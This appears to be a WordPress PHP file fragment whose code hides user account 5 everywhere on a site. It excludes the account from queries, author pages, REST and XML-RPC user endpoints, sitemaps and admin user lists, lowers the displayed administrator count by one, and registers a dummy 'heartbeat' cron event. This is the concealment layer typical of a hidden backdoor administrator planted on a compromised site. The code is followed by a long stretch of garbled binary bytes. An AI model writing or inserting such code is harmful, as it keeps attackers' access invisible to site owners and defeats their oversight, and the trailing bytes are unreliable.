add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
՝͎r6wiv*d!2̦de8"$%uzvͼ`^%]'ĩdpnnҗq?~WnYrsZӿYӟ~fW^ݶwW竿{xZy]տˏW9Z~h6wW?[\n__mw{?~zr+K_f3svnWw?]}vwa,r<|y-7}<=|_w7lmlmfOD~b| ?>v{|n7w69~~,yvo^Nvk}|sSo_$gPϠy<v_}/?ޭ/hx|aدzAXqXqyFIT\ 7JyH19Dn#|,߈sѧ|]5 w 1|nqEܵC
nkRP^jX{w܁
74tJ>7[ˍ
Lj{̮u'<@V=8)Hb.\
ރḅ2)8g$W}5cp:p讯uc1]8%8&p1WȢ2jO
pgNFDrbVapO9))$p{UҰ:$[]>'p|Ql^;Pe#Qu&>'[t5
s`'8aƢWז%aPC'Ra̿r
YVҀCf!Rc=2uv̰E+bT8Y=C8':=?$VFV0#8֤,g^QUgy,7%86,C
=N~Y[NcVW9ԟ]~T_sJpSUosff- nD
KV!_JJNAWQ() ҈F0BF1, M@(r@ȧy4OQ#*`U"6AUNƑ^MY*b&y9E>'È!PCdщ;8 f2Jƹ̓ѕ"(ȶ(!**DPܜmR''>*诵&,lhfXaԄ'H#F#=Cz<"
J Fsuz9!z9b\=Angt8qPťMjpCД6yq$"Y6ɑ^szK^@\^G6uI֡gGdԬU8k. \~iS.,A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